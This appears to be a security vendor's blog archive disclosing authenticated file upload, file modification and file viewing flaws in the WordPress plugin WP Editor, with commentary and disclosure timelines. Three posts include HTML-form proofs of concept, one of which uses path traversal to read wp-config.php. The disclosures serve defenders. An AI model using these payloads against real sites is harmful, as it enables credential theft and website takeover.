12 Oct

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in WP Editor

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

03 Jun

Don’t Expect That Someone Else Has Checked The Security of the WordPress Plugins You Use

When it comes to open source software one of the ideas is that by having the source code available then the software is more secure since you are not relying on only the developer of the software to have reviewed the code. So how does that match up with the security of WordPress plugins? A recent security situation we ran into with the plugin WP Editor seems to indicate that it isn’t working that way.

If people were regularly looking over the security of WordPress plugins, WP Editor would seem to be something that would have been looked at by now. It has 100,000+ active installs according to wordpress.org, which puts in the top 200 plugins (out of over 44,000 plugin currently in the Plugin Directory). The plugin replaces WordPress regular editor for plugins and theme files in the admin area, which should flag it as something that should be reviewed since a security issue with its the ability to modify PHP files could lead to website being hacked. Its functionality also seems to be something that would be used by more advanced users, which you would think would increase the chances it would be reviewed for security issues.

The description of the plugin mentions it use of AJAX, “Using Asynchronous Javascript and XML (AJAX) to retrieve files and folders, WP Editor sets a new standard for speed and reliability in a web-based editing atmosphere.”, which as we will get to in a moment, is something that increases chances of a security issue and would seem to be something that should have also flagged this plugin as needing a good review.

Two more items that would heighten our concern about a plugin’s potential for security risk is that it contains its ability to view the contents of files and upload them. We frequently see attempts to exploit vulnerabilities that allow the viewing of files, using them to try see the contents of the wp-confg.php files, which contains the database credentials for the website. Vulnerabilities in file upload capabilities are probably the most exploited type of vulnerability and when they are unrestricted the question isn’t a question of whether a disclosed vulnerability will be exploited, but when.

In the case of this plugin, it looks like the only person that bothered to take a look at it before us was someone interested in exploiting vulnerabilities.

Easy To Find Vulnerabilities

A couple of weeks ago we started getting requests on one our websites for a file in the WP Editor plugin, /wp-content/plugins/wp-editor/js/wpeditor.js. Seeing as we didn’t have the plugin installed, there wouldn’t normally be any requests for that file. The requests therefore would be from someone looking to see if the plugin was installed. It is possible that could be due to someone doing a survey of usage of the plugin, but it would usually due to someone looking for usage of a plugin to try to exploit a vulnerability in the plugin. In this case the first request came along side of a request for a file for another plugin that had a recently disclosed vulnerability, so that seemed to be pretty good indication someone was looking to exploit a vulnerability in WP Editor.

Since we didn’t have the plugin installed we couldn’t see what the hacker would try to exploit in the plugin if the JavaScript file had existed. We then checked our data set for any vulnerabilities we were already aware had existed in the plugin and found none.  Next we looked for any public reports of vulnerabilities in the plugin and found none. Finally we checked if there was any indication that the plugin had any recent security fixes, which a hacker could have reverse engineered to exploit, and found that the plugin hadn’t been updated in 8 months.

After that we started looking over the plugin to see if we could find any security issues that might interest a hacker. In a matter of minutes we had found some serious issues that could be something a hacker would be interested in exploiting. We certainly don’t have some special expertise, so if we could find them someone else with a little security expertise could have found them if they had ever looked at the plugin.

The issues involved a common problem we see with WordPress plugins, plugin developers use AJAX functions without properly restricting them. By default AJAX functions are available to all logged in users, so in the case of this plugin, functions that were only intended to be sued by Administrator level users were accessible to Subscriber level users and above. Those functions included modifying existing files, uploading new files, and viewing the existing contents of files. All of these are things that hackers are known to exploit. Since most WordPress websites are accessible by one user account or trusted user that obviously limits the threat of this, but with 100,000+ active installs there are bound to be some that allow open user registration would have be at high risk of being exploited.

We later were able to track what looks to be the source of the exploit attempts and the vulnerabilities we noticed were those that there would have been exploit attempts.

Protecting Yourself Against Plugin Vulnerabilities

That doesn’t paint the best picture of the security of WordPress plugins. So what can you do about it?

You could hire someone to do a security review of all of the plugins you use. That would give you the best assurance of the security of your plugins, but it isn’t necessarily going to be cheap (since plugins keep changing, you would need to keep having that done to be best protected).

Another option is to use our service, as we will make sure that you are quickly notified if any vulnerabilities in plugins you use become public. For vulnerabilities like this where it wasn’t fixed at the point we became aware of it, we could have helped to deal with the risk until a fix was released (which in this case only occurred because we notified the appropriate parties).

23 May

We Correctly Identified The Vulnerabilities That Hackers Were Looking to Exploit in WP Editor

A couple of weeks ago we started seeing requests for a file from the plugin WP Editor and suspected that the requests were from someone looking for website using the plugin, to exploit some vulnerability in the plugin. After seeing that we starting trying to figure out what the hacker was hoping to exploit, so that we could make it was in our data set.

Since we didn’t have the plugin installed, we couldn’t see what the hacker would try to do if the file from the plugin had been there. We then went looking for any reports of vulnerabilities in the plugin, upon finding none and seeing the plugin hadn’t been updated in 8 months (so it wasn’t a situation where someone had worked out how to exploit a vulnerability that had been recently fixed by the developer) we started looking for vulnerabilities.

In a matter of minutes we found that the plugin had an authenticated arbitrary file upload vulnerability and an authenticated file modification vulnerability in the then current version, 1.2.5.3, of the plugin. Right after finding those we notified the Plugin Directory of the issue and the next morning we notified the developer of the plugin as well. While doing some more checking we found that there had also been an authenticated arbitrary file viewing vulnerability in the plugin. All of those vulnerabilities were fixed in version of 1.2.6 of the plugin.

What we still didn’t know is if those were the vulnerabilities that were attempted to be exploited or was there something still out there that we missed. While working on a follow up post based on that situation we took a look to see if anything else was now out there on this situation and we found a post that looks like it might have what lead to the hacking attempts. While the page is in Russian and machine translations of the page text don’t seem to very good, what is clear is that vulnerabilities listed there are the authenticated arbitrary file upload vulnerability and authenticated arbitrary file viewing vulnerability that we spotted previously. Since those have been fixed it looks like the plugin does not have known vulnerability in it at this point.

13 May

Authenticated File Viewing Vulnerability in WP Editor

The security vulnerabilities we previously disclosed in WP Editor have now been fixed in version 1.2.6, hopefully those or something else fixed in that version was what hackers are trying to exploit. While looking around for other security issues in plugin we found another vulnerability that had existed in 1.2.5.3 and all version below, which was fixed in 1.2.6 as well.

Similar to the two vulnerabilities the ajax function for requesting a file on the website did not do any check as to the user capabilities when doing that, so any logged in user could view arbitrary files.

Proof of Concept

The following proof of concept will return the contents of the wp-config.php file in the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="ajax_folders" />
<input type="hidden" name="dir" value="../wp-config.php" />
<input type="hidden" name="contents" value="1" />
<input type="hidden" name="type" value="plugin" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
12 May

Authenticated File Modification Vulnerability in WP Editor

As discussed in the more detail in the post for the other vulnerability we found in the WP Editor plugin, we recently started seeing requests for a file in this plugin on one of our websites and we believe that it was checking for use of the plugin before exploiting it. After seeing that we started checking for vulnerabilities.

In addition the vulnerability we discussed in the other we post, we also found that any logged in user can edit files on the website since there is no check as to the user capabilities when editing the files. The protection against cross-site request forgery (CSRF) is broken, so it is also susceptible to that.

Proof of Concept

The following proof of concept will cause the readme.html in the root directory of the WordPress installation to be edited to say “File edited.”, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post">
<input type="hidden" name="action" value="save_files" />
<input type="hidden" name="real_file" value="../readme.html" />
<input type="hidden" name="new_content" value="File edited." />
<input type="hidden" name="_success" value="The file has been updated successfully." />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

5/11/2016- WordPress.org Plugin Directory notified.
5/12/2016 – Developer notified.
5/13/2016 – Version 1.2.6 released, which fixes vulnerabilities.

12 May

Authenticated Arbitrary File Upload Vulnerability in WP Editor

To stay on top of vulnerabilities in WordPress plugin for you, we monitor a number of different sources. One of them is hacking attempts on our websites, which mostly identifies fairly old vulnerabilities that we haven’t yet included in our data. In the case of a one vulnerability from back in 2012 we discovered that the vulnerability had never been fixed and was still in the Plugin Directory. Yesterday that monitoring lead us to seeing evidence that the WP Editor plugin is being exploited and finding a couple of serious vulnerabilities that could be what they are exploiting.

We have started seeing requests for the file /wp-content/plugins/wp-editor/js/wpeditor.js, which based on the files being requested alongside it, looks like the request are to check to see if the plugin is in use and if so then the hacker would likely try to exploit it. Since we don’t have the plugin installed the exploitation attempt didn’t happen, so we don’t know what they are trying to exploit. So then after looking for any public reports of vulnerabilities in the plugin we starting to reviewing the plugin and quickly found a couple of serious security vulnerabilities in the current version of the plugin 1.2.5.3.

The first vulnerability is that any logged in user can upload arbitrary files to the website since there is no check as to the user capabilities when doing that. There is also no protection against cross-site request forgery (CSRF), so it is also susceptible to that.

We notified the Plugin Directory shortly before 5PM MDT yesterday about the appearance hacking attempts and the vulnerabilities we had found. Despite the serious nature, as now we haven’t received any response from them and the plugin is still available in the Plugin Directory, which indicates that they have not processed our message because once that is done they will usually remove the plugin pending a fix.

The plugin hasn’t been updated in 8 months, so it isn’t clear if it still being supported by the developer anymore, but we are in the process of trying to notifying them.

In the meantime we have added the vulnerabilities to our service’s data, so customers will start getting notified when the next check runs. We have also added it to the data in our companion Plugin Vulnerabilities plugin, so even you are not using our service yet you can get alerted to vulnerability.

Proof of Concept

The following proof of concept will upload the chosen file to the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload_files" />
<input type="hidden" name="current_plugin_root" value="../" />
<input type="hidden" name="directory" value="" />
<input type="file" name="file-0" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

5/11/2016- WordPress.org Plugin Directory notified.
5/12/2016 – Developer notified.
5/13/2016 – Version 1.2.6 released, which fixes vulnerabilities.